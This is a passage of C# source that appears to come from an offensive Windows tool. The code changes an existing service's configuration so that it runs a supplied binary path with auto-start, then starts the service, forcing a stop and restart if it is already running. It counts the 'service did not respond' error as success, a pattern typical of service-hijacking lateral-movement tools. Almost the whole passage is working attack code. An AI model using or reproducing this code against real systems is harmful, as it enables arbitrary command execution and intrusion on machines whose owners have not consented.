252 | Console.WriteLine("[!] Exiting early..");
253 | return;
254 |
255 | }
256 |
257 | int configRet = ChangeServiceConfigA(
258 | svchandle, //IntPtr hService,
259 | 0x10, //SERVICE_WIN32_OWN_PROCESS
260 | 2, //start_auto
261 | 1, //errorcontrol
262 | BinaryPathName, // string lpBinaryPathName,
263 | null, // string lpLoadOrderGroup,
264 | null, // string lpdwTagId,
265 | null, // string lpDependencies,
266 | null, // string lpServiceStartName,
267 | null, // string lpPassword,
268 | null // string lpDisplayName)
269 | );
270 |
271 | if (configRet == 0)
272 | {
273 | Console.WriteLine("[!] Change Service Config failed! Error:{0}", GetLastError());
274 | Console.WriteLine("[!] Exiting early..");
275 | return;
276 | }
277 |
278 | bool bResult = StartService(svchandle, 0, null);
279 | uint dwResult = GetLastError();
280 |
281 | if (dwResult == 1056)
282 | {
283 | Console.WriteLine("[!] Stopping Service first");
284 | Console.WriteLine("[!] Waiting 30 seconds for service to stop fully..");
285 | System.Threading.Thread.Sleep(30000);
286 | SERVICE_STATUS stat = new SERVICE_STATUS();
287 | ControlService(svchandle, 0x1, ref stat);
288 |
289 | Console.WriteLine("Get Last Error: " + GetLastError());
290 |
291 | StartService(svchandle, 0, null);
292 |
293 | Console.WriteLine("[!] Trying to start service");
294 | bResult = StartService(svchandle, 0, null);
295 | dwResult = GetLastError();
296 | if (!bResult && dwResult != 1053)
297 | {
298 | Console.WriteLine("[!] StartServiceA failed to start the service. Error:{0}", GetLastError());
299 | }
300 | else
301 | {
302 | Console.WriteLine("[*] Service was started");
303 | }
304 | }
305 | else if (!bResult && dwResult != 1053)
306 | {
307 | Console.WriteLine("[!] StartServiceA failed to start the service. Error:{0}", GetLastError());
308 | }
309 | else
310 | {
311 | Console.WriteLine("[*] Service was started");
312 | }
313 |
314 | }
315 | catch (Exception e)
316 | {
317 | Console.WriteLine(e.ToString());
318 | }
319 |
320 | }
321 |
322 |
323 | }
324 |
325 |
326 | }
327 |
--------------------------------------------------------------------------------